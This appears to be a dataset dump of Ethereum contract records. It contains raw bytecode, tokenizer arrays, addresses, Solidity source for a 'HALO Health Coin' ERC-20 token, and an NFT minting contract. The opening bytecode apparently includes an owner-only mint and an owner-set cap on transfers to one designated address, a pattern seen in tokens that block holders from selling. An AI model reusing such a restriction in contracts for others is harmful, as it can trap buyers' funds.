05060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166108546111df565b73ffffffffffffffffffffffffffffffffffffffff16141561087557600080fd5b61088a8160065461165790919063ffffffff16565b6006819055506108e981600260006108a06111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260006108f56111df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061093b6111df565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6109ab6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d175780601f10610cec57610100808354040283529160200191610d17565b820191906000526020600020905b815481529060010190602001808311610cfa57829003601f168201915b5050505050905090565b610d296111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e41610e3a6111df565b8484611346565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f006111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b610fdc6111df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461109c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611122576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117a06026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561122157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125b57600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561138057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114655750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561147957600a54811061147857600080fd5b5b6114cb81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061164f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116df565b905092915050565b6000808284019050838110156116d5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061178c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611751578082015181840152602081019050611736565b50505050905090810190601f16801561177e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220e558f5c90c49d349319600582f2274a451077ad02eff7400a11cc868f4cbfd9364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 10790, 17788, 16048, 8586, 2683, 2575, 24434, 2629, 2497, 2683, 2094, 2509, 3676, 2549, 2094, 2549, 2050, 2683, 14141, 2546, 2094, 21486, 2581, 23632, 21472, 18827, 1013, 1008, 1008, 11895, 3676, 27966, 1064, 1002, 11895, 27966, 1008, 4189, 4888, 1010, 2053, 16475, 19204, 2015, 999, 1008, 4189, 3119, 1010, 2053, 3914, 1010, 2053, 4965, 1013, 5271, 18525, 3215, 1998, 2053, 12598, 9883, 999, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2340, 1025, 3075, 4769, 1063, 3853, 2003, 8663, 6494, 6593, 1006, 4769, 4070, 1007, 4722, 3193, 5651, 1006, 22017, 2140, 1007, 1063, 1013, 1013, 2429, 2000, 1041, 11514, 1011, 8746, 2475, 1010, 1014, 2595, 2692, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,568
0x97016445a6f9b282c109e4ba78f3631c36ef3c68
pragma solidity ^0.4.16; /* * Copyright © 2021 by Capital Trust Group Limited * Author : legal@ctgexchange.com */ contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract HALOToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function HALOToken( ) { balances[msg.sender] = 2300000000 * 1000000000000000000; // Give the creator all initial tokens, 18 zero is 18 Decimals totalSupply = 2300000000 * 1000000000000000000; // Update total supply, , 18 zero is 18 Decimals name = "HALO Health Coin"; // Token Name decimals = 18; // Amount of decimals for display purposes symbol = "HALO"; // Token Symbol } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100c1578063095ea7b31461015157806318160ddd146101b657806323b872dd146101e1578063313ce5671461026657806354fd4d501461029757806370a082311461032757806395d89b411461037e578063a9059cbb1461040e578063cae9ca5114610473578063dd62ed3e1461051e575b3480156100bb57600080fd5b50600080fd5b3480156100cd57600080fd5b506100d6610595565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101165780820151818401526020810190506100fb565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015d57600080fd5b5061019c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610633565b604051808215151515815260200191505060405180910390f35b3480156101c257600080fd5b506101cb610725565b6040518082815260200191505060405180910390f35b3480156101ed57600080fd5b5061024c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072b565b604051808215151515815260200191505060405180910390f35b34801561027257600080fd5b5061027b6109a4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a357600080fd5b506102ac6109b7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ec5780820151818401526020810190506102d1565b50505050905090810190601f1680156103195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a55565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b50610393610a9d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d35780820151818401526020810190506103b8565b50505050905090810190601f1680156104005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041a57600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b3b565b604051808215151515815260200191505060405180910390f35b34801561047f57600080fd5b50610504600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca1565b604051808215151515815260200191505060405180910390f35b34801561052a57600080fd5b5061057f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f3e565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561062b5780601f106106005761010080835404028352916020019161062b565b820191906000526020600020905b81548152906001019060200180831161060e57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107f7575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156108035750600082115b1561099857816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905061099d565b600090505b9392505050565b600460009054906101000a900460ff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a4d5780601f10610a2257610100808354040283529160200191610a4d565b820191906000526020600020905b815481529060010190602001808311610a3057829003601f168201915b505050505081565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b335780601f10610b0857610100808354040283529160200191610b33565b820191906000526020600020905b815481529060010190602001808311610b1657829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610b8b5750600082115b15610c9657816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610c9b565b600090505b92915050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b83811015610ee2578082015181840152602081019050610ec7565b50505050905090810190601f168015610f0f5780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af1925050501515610f3357600080fd5b600190509392505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a7230582006e8259dfd9406d9ead07663f871ca57b32825f526c3e8046a928c9ad49429bc0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 19841, 16048, 22932, 2629, 2050, 2575, 2546, 2683, 2497, 22407, 2475, 2278, 10790, 2683, 2063, 2549, 3676, 2581, 2620, 2546, 21619, 21486, 2278, 21619, 12879, 2509, 2278, 2575, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2385, 1025, 1013, 1008, 1008, 9385, 1075, 25682, 2011, 3007, 3404, 2177, 3132, 1008, 3166, 1024, 3423, 1030, 14931, 3351, 2595, 22305, 2063, 1012, 4012, 1008, 1013, 3206, 19204, 1063, 1013, 1013, 1013, 1030, 2709, 2561, 3815, 1997, 19204, 2015, 3853, 21948, 6279, 22086, 1006, 1007, 5377, 5651, 1006, 21318, 3372, 17788, 2575, 4425, 1007, 1063, 1065, 1013, 1013, 1013, 1030, 11498, 2213, 1035, 3954, 1996, 4769, 2013, 2029, 1996, 5703, 2097, 2022, 5140, 1013, 1013, 1013, 1030, 2709, 1996, 5703, 3853, 5703, 11253, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,569
0x97019ce30750e19486f52e4eadd9130b10d3a8a4
// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; import "./ECDSA.sol"; import "./EIP712.sol"; import "./Payment.sol"; contract Skellys is ERC721Enumerable, EIP712, Ownable, Payment { using Strings for uint256; string public baseURI; //signature string private constant SINGING_DOMAIN = "SKELLYS"; string private constant SIGNATURE_VERSION = "1"; //settings uint256 public maxSupply = 2500; bool public whitelistStatus = false; bool public publicStatus = false; uint256 private price = 0.04 ether; uint256 public maxMintPerTxPublic = 5; uint256 public maxMintPerTxWhitelist = 5; uint256 public maxMintPerWallet = 5; //mappings mapping(address => uint256) private mintCountMap; mapping(address => uint256) private allowedMintCountMap; //shares address[] private addressList = [ 0x85743E23cA846eb1c603413dD4045F977E7d86CF, 0xEcc03efB7C0A7BD09A5cC7e954Ac42E8f949A0B5 ]; uint[] private shareList = [75, 25]; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) EIP712(SINGING_DOMAIN, SIGNATURE_VERSION) Payment(addressList, shareList) { setURI(_initBaseURI); } function mintWhitelist(uint256 _tokenAmount, string memory name, bytes memory signature) public payable { uint256 s = totalSupply(); require(check(name, signature) == msg.sender, "Signature Invalid"); //server side signature require(whitelistStatus,"Whitelist sale is not active"); require(_tokenAmount > 0, "Mint more than 0" ); require(_tokenAmount <= maxMintPerTxWhitelist, "Mint less"); require( s + _tokenAmount <= maxSupply, "Mint less"); require(msg.value >= price * _tokenAmount, "ETH input is wrong"); require(allowedMintCount(msg.sender) >= 1,"You minted too many"); for (uint256 i = 0; i < _tokenAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s; updateMintCount(msg.sender, _tokenAmount); } function mintPublic(uint256 _tokenAmount) public payable { uint256 s = totalSupply(); require(publicStatus,"Public sale is not active"); require(_tokenAmount > 0, "Mint more than 0" ); require(_tokenAmount <= maxMintPerTxPublic, "Mint less"); require( s + _tokenAmount <= maxSupply, "Mint less"); require(msg.value >= price * _tokenAmount, "ETH input is wrong"); for (uint256 i = 0; i < _tokenAmount; ++i) { _safeMint(msg.sender, s + i, ""); } delete s; } // admin minting function gift(uint[] calldata gifts, address[] calldata recipient) external onlyOwner{ require(gifts.length == recipient.length); uint g = 0; uint256 s = totalSupply(); for(uint i = 0; i < gifts.length; ++i){ g += gifts[i]; } require( s + g <= maxSupply, "Too many" ); delete g; for(uint i = 0; i < recipient.length; ++i){ for(uint j = 0; j < gifts[i]; ++j){ _safeMint( recipient[i], s++, "" ); } } delete s; } function check(string memory name, bytes memory signature) public view returns (address) { return _verify( name, signature); } function _verify(string memory name, bytes memory signature) internal view returns (address) { bytes32 digest = _hash(name); return ECDSA.recover(digest, signature); } function _hash(string memory name) internal view returns (bytes32) { return _hashTypedDataV4(keccak256(abi.encode( keccak256("Web3Struct(string name)"), keccak256(bytes(name)) ))); } function allowedMintCount(address minter) public view returns (uint256) { return maxMintPerWallet - mintCountMap[minter]; } //read metadata function _baseURI() internal view virtual returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(tokenId <= maxSupply); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString())) : ""; } function updateMintCount(address minter, uint256 count) private { mintCountMap[minter] += count; } //price switch function setPrice(uint256 _newPrice) public onlyOwner { price = _newPrice; } //max switch function setMaxPerTxWhitelist(uint256 _newMaxMintAmount) public onlyOwner { maxMintPerTxWhitelist = _newMaxMintAmount; } //max switch function setMaxPerTxPublic(uint256 _newMaxMintAmount) public onlyOwner { maxMintPerTxPublic = _newMaxMintAmount; } //max switch function setMaxPerWallet(uint256 _newMaxMintAmount) public onlyOwner { maxMintPerWallet = _newMaxMintAmount; } //onoff switch function setWL(bool _wlstatus) public onlyOwner { whitelistStatus = _wlstatus; } function setP(bool _pstatus) public onlyOwner { publicStatus = _pstatus; } //write metadata function setURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{value: address(this).balance}(""); require(success); } }
0x6080604052600436106103015760003560e01c80638b83209b1161018f578063bb660c0a116100e1578063e33b7de31161008a578063f2fde38b11610064578063f2fde38b146108f6578063f452472e14610916578063f91798b11461093657600080fd5b8063e33b7de314610878578063e985e9c51461088d578063efd0cbf9146108e357600080fd5b8063ce7c2ac2116100bb578063ce7c2ac2146107ff578063d5abeb0114610842578063e268e4d31461085857600080fd5b8063bb660c0a1461079f578063bd986a2c146107bf578063c87b56dd146107df57600080fd5b80639852595c11610143578063ac9384b91161011d578063ac9384b914610753578063b228d92514610769578063b88d4fde1461077f57600080fd5b80639852595c146106d65780639ddf7ad314610719578063a22cb4651461073357600080fd5b806391b7f5ed1161017457806391b7f5ed1461068157806395d89b41146106a157806396ea3a47146106b657600080fd5b80638b83209b146106365780638da5cb5b1461065657600080fd5b806342842e0e1161025357806370a08231116101fc5780638462151c116101d65780638462151c146105d657806384a303d61461060357806388dfe18b1461062357600080fd5b806370a0823114610581578063715018a6146105a15780637934f505146105b657600080fd5b80635cd5a8b41161022d5780635cd5a8b4146105365780636352211e1461054c5780636c0360eb1461056c57600080fd5b806342842e0e146104d657806348808c10146104f65780634f6ccce71461051657600080fd5b806318160ddd116102b55780632f745c591161028f5780632f745c59146104995780633a98ef39146104b95780633ccfd60b146104ce57600080fd5b806318160ddd1461043a578063191655871461045957806323b872dd1461047957600080fd5b806306fdde03116102e657806306fdde03146103b3578063081812fc146103d5578063095ea7b31461041a57600080fd5b806301ffc9a71461035c57806302fe53051461039157600080fd5b36610357577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be770336040805173ffffffffffffffffffffffffffffffffffffffff90921682523460208301520160405180910390a1005b600080fd5b34801561036857600080fd5b5061037c610377366004613570565b610955565b60405190151581526020015b60405180910390f35b34801561039d57600080fd5b506103b16103ac366004613667565b6109b1565b005b3480156103bf57600080fd5b506103c8610a34565b6040516103889190613712565b3480156103e157600080fd5b506103f56103f0366004613725565b610ac6565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610388565b34801561042657600080fd5b506103b1610435366004613760565b610b6c565b34801561044657600080fd5b506002545b604051908152602001610388565b34801561046557600080fd5b506103b161047436600461378c565b610cc5565b34801561048557600080fd5b506103b16104943660046137a9565b610f00565b3480156104a557600080fd5b5061044b6104b4366004613760565b610f87565b3480156104c557600080fd5b5060065461044b565b6103b16110a3565b3480156104e257600080fd5b506103b16104f13660046137a9565b611162565b34801561050257600080fd5b506103f56105113660046137ea565b61117d565b34801561052257600080fd5b5061044b610531366004613725565b611190565b34801561054257600080fd5b5061044b60105481565b34801561055857600080fd5b506103f5610567366004613725565b6111ed565b34801561057857600080fd5b506103c861129a565b34801561058d57600080fd5b5061044b61059c36600461378c565b611328565b3480156105ad57600080fd5b506103b1611427565b3480156105c257600080fd5b506103b16105d1366004613725565b61149a565b3480156105e257600080fd5b506105f66105f136600461378c565b611506565b604051610388919061384e565b34801561060f57600080fd5b506103b161061e3660046138a7565b611600565b6103b16106313660046138c2565b61169e565b34801561064257600080fd5b506103f5610651366004613725565b611971565b34801561066257600080fd5b5060055473ffffffffffffffffffffffffffffffffffffffff166103f5565b34801561068d57600080fd5b506103b161069c366004613725565b6119ae565b3480156106ad57600080fd5b506103c8611a1a565b3480156106c257600080fd5b506103b16106d1366004613974565b611a29565b3480156106e257600080fd5b5061044b6106f136600461378c565b73ffffffffffffffffffffffffffffffffffffffff1660009081526009602052604090205490565b34801561072557600080fd5b50600d5461037c9060ff1681565b34801561073f57600080fd5b506103b161074e3660046139e0565b611bee565b34801561075f57600080fd5b5061044b600f5481565b34801561077557600080fd5b5061044b60115481565b34801561078b57600080fd5b506103b161079a366004613a15565b611ceb565b3480156107ab57600080fd5b5061044b6107ba36600461378c565b611d73565b3480156107cb57600080fd5b506103b16107da3660046138a7565b611da6565b3480156107eb57600080fd5b506103c86107fa366004613725565b611e3e565b34801561080b57600080fd5b5061044b61081a36600461378c565b73ffffffffffffffffffffffffffffffffffffffff1660009081526008602052604090205490565b34801561084e57600080fd5b5061044b600c5481565b34801561086457600080fd5b506103b1610873366004613725565b611eaa565b34801561088457600080fd5b5060075461044b565b34801561089957600080fd5b5061037c6108a8366004613a81565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205460ff1690565b6103b16108f1366004613725565b611f16565b34801561090257600080fd5b506103b161091136600461378c565b6120fe565b34801561092257600080fd5b506103b1610931366004613725565b6121f7565b34801561094257600080fd5b50600d5461037c90610100900460ff1681565b60007fffffffff000000000000000000000000000000000000000